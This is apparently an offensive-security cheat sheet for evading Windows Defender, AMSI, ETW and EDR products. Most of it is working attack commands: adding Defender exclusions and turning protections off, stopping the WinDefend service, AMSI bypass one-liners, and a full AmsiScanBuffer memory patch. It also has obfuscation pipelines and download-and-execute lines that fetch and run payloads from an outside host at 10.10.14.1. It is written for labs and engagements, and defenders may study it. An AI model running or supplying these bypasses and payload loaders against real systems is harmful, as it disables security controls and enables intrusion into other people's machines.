Defender & AMSI Evasion
Sections Defender & AMSI Evasion
Modern Windows has Defender on by default. AMSI scans PowerShell/.NET/VBScript content before execution. EDRs hook userland APIs. Bypasses get patched and re-invented constantly, treat any single technique as a temporary win.
i. Check what you’re up against
Defender status:
Get-MpComputerStatus
## Look at: AntivirusEnabled, RealTimeProtectionEnabled, IsTamperProtected
Get-MpPreference | Select-Object Disable*, ExclusionPath, ExclusionExtension, ExclusionProcess
Defender exclusions (gold mine, drop payloads to excluded paths):
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
As a low-priv user when Get-MpPreference is blocked or empty, pull exclusions from the event log. Event ID 5007 in Microsoft-Windows-Windows Defender/Operational logs every config change, including exclusion adds:
Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" | Where-Object {$_.Id -eq 5007} | Select-Object -ExpandProperty Message
## Filter to just the exclusion-related changes:
Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" | Where-Object {$_.Id -eq 5007 -and $_.Message -match 'Exclusions'} | Select-Object TimeCreated,Message
wevtutil version (works from cmd, no PowerShell needed):
wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /q:"*[System[(EventID=5007)]]" /f:text /c:50
This also shows historical exclusions that were later removed, plus the timestamps. Sometimes a path was excluded for a long time before being cleaned up but the files are still there.
Third-party AV/EDR check:
wmic /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
sc.exe query | findstr /i "EDR\|sense\|cyber\|cylance\|sentinel\|crowdstrike\|elastic\|defender\|kaspersky\|carbonblack\|tanium"
PowerShell logging and constrained mode:
$ExecutionContext.SessionState.LanguageMode
## "FullLanguage" = good. "ConstrainedLanguage" = restricted, see WDAC.
ii. Add an exclusion (admin only)
When you have admin, the easiest “evasion” is just excluding your tool path:
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
Add-MpPreference -ExclusionProcess "sh.exe"
Add-MpPreference -ExclusionExtension ".dll"
If IsTamperProtected is True, you cannot modify Defender preferences even as admin. Tamper Protection blocks all GPO/PS changes. Needs to be disabled via UI by interactive admin, or via specific MDM scenarios.
iii. Disable real-time protection (admin)
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableScriptScanning $true
Set-MpPreference -SubmitSamplesConsent 2 ## never submit
Set-MpPreference -MAPSReporting 0 ## disable cloud
Or stop the service entirely (also needs Tamper Protection off):
sc.exe stop WinDefend
sc.exe config WinDefend start= disabled
iv. AMSI bypass - the concept
AMSI (Antimalware Scan Interface) scans strings passed to script engines (powershell.exe, wscript, etc) and .NET assemblies loaded into a process. Bypass = make AMSI return “clean” or never get called.
Two main approaches:
- Patch AMSI in memory (modify AmsiScanBuffer to always return clean)
- Force AMSI to fail-open (corrupt internal state so scans skip)
Both target the AMSI.dll inside your own process. No admin needed.
v. AMSI bypass one-liners
Every bypass listed below has been signatured at some point. Test on the actual box. If it doesn’t work, search GitHub for “amsi bypass 2025” or similar.
The classic (works on older PowerShell, signatured everywhere now but worth trying obfuscated):
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Same logic, string-built to dodge signatures:
$a='System.Management.Automation.A';$b='msiUtils';[Ref].Assembly.GetType($a+$b).GetField('a'+'msiInitFailed','NonPublic,Static').SetValue($null,$true)
Patch AmsiScanBuffer (works in newer pwsh too):
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "ScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
ETW bypass companion (silences event tracing for further stealth):
[Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null).GetType().GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null), 0)
Modern reliable bypass (hardware breakpoint based, no patching, no signatures):
- AMSI.fail - paste-ready obfuscated bypass per technique
- DefenderCheck - see what triggers, refactor until clean
vi. Running PowerShell without powershell.exe
Defender hooks powershell.exe deeply. Use the underlying System.Management.Automation.dll directly via a custom runspace:
- PowerPick - runs PS commands without powershell.exe
- InsecurePowerShell - fork of pwsh with AMSI/ETW stripped
- NotPowerShell (nps.exe) - runs PS via .NET
nps.exe "Get-Process"
vii. Obfuscation pipelines
When the payload string itself is the signature, obfuscate:
Invoke-Obfuscation (PowerShell):
Import-Module Invoke-Obfuscation
Invoke-Obfuscation
## then: SET SCRIPTPATH C:\sh.ps1
## then: ENCODING\1
Chimera (PS bypass generator, includes AMSI bypass):
./chimera.sh -f payload.ps1 -o obfuscated.ps1 -l 4 -t all
ConfuserEx (.NET assemblies):
- Drop your C# .exe in, configure protections, output is obfuscated, packed, virtualized.
viii. Defender exclusions via GPO leakage
When you can read GPO settings (any domain user can), look for Defender exclusions defined by policy:
## Pull from group policy preferences cache
Get-ChildItem -Recurse '\\domain\sysvol\domain\Policies' -Filter '*.xml' 2>$null | Select-String -Pattern 'Exclusions|ExclusionPath|ExclusionProcess'
If a policy excludes C:\backup\* from Defender, drop your payload there.
ix. In-memory execution
Skip disk entirely. PowerShell IEX is the classic:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1/sh.ps1')
For .NET assemblies (no disk write):
$b = (New-Object Net.WebClient).DownloadData('http://10.10.14.1/sh.exe')
$a = [System.Reflection.Assembly]::Load($b)
$a.EntryPoint.Invoke($null,$null)
Note: AMSI scans Assembly.Load() content too. AMSI bypass needed before this.
C# in-memory compilation (Roslyn) bypasses any disk-based AV:
Add-Type @"
using System;
using System.Diagnostics;
public class X { public static void Run() { Process.Start("cmd","/c calc"); } }
"@
[X]::Run()
x. Defender process exclusions abuse
If Get-MpPreference shows process exclusions like python.exe, you can:
python.exe -c "import os; os.system('your-payload')"
Defender treats any child of the excluded process as excluded too.
xi. EDR considerations
Defender is the baseline. EDRs (CrowdStrike, SentinelOne, Carbon Black, Elastic, Tanium, Defender for Endpoint) are stricter:
- Kernel-mode hooks (process creation, file write, network)
- Behavioral detection beyond signatures
- Memory scanning at runtime
- Cloud reputation lookups
Generic EDR evasion advice:
- Live off the land (W09 LOLBAS)
- Use signed third-party tools that are commonly allowlisted
- Stick to admin behaviors (psexec patterns, WMI), not classic-malware behaviors
- Avoid loud actions (LSASS dumps, mass file enumeration in System32)
- Tools: SharpHide, EDRSandblast (kernel callbacks), HellsGate / HalosGate (direct syscalls)
The realistic answer on a real engagement: AV/EDR evasion is its own discipline. On HTB/labs, the bypasses in section v usually work and Defender is often off.
xii. Quick checklist
Before running anything noisy:
- Check Defender status and exclusions
- Check for third-party EDR
- Check PowerShell language mode
- AMSI bypass first if using PowerShell
- Use in-memory execution where possible
- Use LOLBINS where possible (see LOLBAS )
- Test the payload outside the target first if you can